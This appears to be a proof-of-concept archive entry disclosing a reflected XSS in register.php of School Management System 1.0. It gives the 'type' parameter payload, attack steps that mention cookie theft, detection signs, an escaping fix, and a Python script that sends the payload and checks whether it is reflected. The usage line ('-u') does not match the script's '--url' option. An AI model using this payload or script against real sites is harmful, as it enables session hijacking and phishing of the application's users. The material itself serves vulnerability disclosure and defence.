PoC Archive PoC Archive
Medium CVE-2026-37750 unpatched

School Management System 1.0 — Reflected XSS in register.php (CVE-2026-37750)

by Varad AP Mene (menevarad007) · 2026-07-05

CVSS 6.1/10
Severity
Medium
CVE
CVE-2026-37750
Category
web
Affected product
School Management System (mahmoudai1) 1.0
Affected versions
1
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherVarad AP Mene (menevarad007)
CVE / AdvisoryCVE-2026-37750
Categoryweb
SeverityMedium
CVSS Score6.1 (CVSSv3: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
StatusPoC
Tagsphp, reflected-xss, cwe-79, unauthenticated, cookie-theft, school-management-system
RelatedN/A

Affected Target

FieldValue
Software / SystemSchool Management System (mahmoudai1) 1.0
Versions Affected1.0
Language / PlatformPython (exploit) targeting PHP web app
Authentication RequiredNo
Network Access RequiredYes

Summary

register.php in School Management System 1.0 reflects the type request parameter into the page’s HTML twice — once inside an <h1> tag via ucfirst($_REQUEST['type']) and once inside a form action attribute — without applying htmlspecialchars() or any output encoding. An unauthenticated attacker can craft a URL containing a <script> payload in the type parameter to execute arbitrary JavaScript in a victim’s browser when they open the link, enabling session-cookie theft, phishing, or malware redirection.


Vulnerability Details

Root Cause

Two sinks in register.php (echo ucfirst($_REQUEST['type']) and echo $_REQUEST['type'] inside a form action) output raw, unescaped user input directly into HTML (CWE-79).

Attack Vector

  1. Craft a URL such as http://target/register.php?type=<script>alert(document.cookie)</script>.
  2. Send or embed the URL for a victim to click (no authentication required).
  3. When the victim’s browser loads the page, the injected script executes in the victim’s session context.
  4. Use the payload to exfiltrate cookies, inject phishing forms, or redirect to attacker-controlled infrastructure.

Impact

Session hijacking via cookie theft, credential phishing, and malicious redirects — all without requiring authentication.


Environment / Lab Setup

Target:   School Management System 1.0 (PHP)
Attacker: Python 3, requests library / any web browser

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://target/register.php

The script sends the crafted type parameter payload against register.php and verifies that the injected script tag is reflected unescaped in the response.


Detection & Indicators of Compromise

GET /register.php?type=%3Cscript%3E... HTTP/1.1

Signs of compromise:

  • Requests to register.php with <script>, onerror=, or other HTML/JS metacharacters in the type parameter
  • Reports of unexpected pop-ups, redirects, or credential prompts from users visiting the registration page

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationApply htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8') at both output sinks in register.php

References


Notes

Mirrored from https://github.com/menevarad007/CVE-2026-37750 on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
# Exploit Title: School Management System 1.0 - Reflected XSS
# Date: 2026-04-16
# Exploit Author: Varad AP Mene (menevarad007@gmail.com)
# Vendor Homepage: https://github.com/mahmoudai1/school-management-system
# Software Link: https://github.com/mahmoudai1/school-management-system
# Version: 1.0
# Tested on: Windows 10 / XAMPP, Kali Linux
# CVE: CVE-2026-37750

import requests
import argparse
import sys

def verify_xss(base_url):
    url = f"{base_url}/register.php"
    payload = "<script>alert(document.cookie)</script>"
    params = {'type': payload}
    session = requests.Session()
    session.headers.update({'User-Agent': 'Mozilla/5.0'})
    print(f"[*] Target  : {url}")
    print(f"[*] Payload : {payload}")
    r = session.get(url, params=params, timeout=10)
    if payload in r.text:
        print(f"[+] VULNERABLE! XSS reflected unescaped!")
        print(f"[+] PoC URL: {r.url}")
        return True
    else:
        print(f"[-] Not vulnerable.")
        return False

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', required=True, help='Target URL')
    args = parser.parse_args()
    print("=" * 60)
    print("CVE-2026-37750 — Reflected XSS")
    print("Product: School Management System 1.0")
    print("Author : Varad AP Mene")
    print("=" * 60)
    try:
        result = verify_xss(args.url.rstrip('/'))
        sys.exit(0 if result else 1)
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)

if __name__ == '__main__':
    main()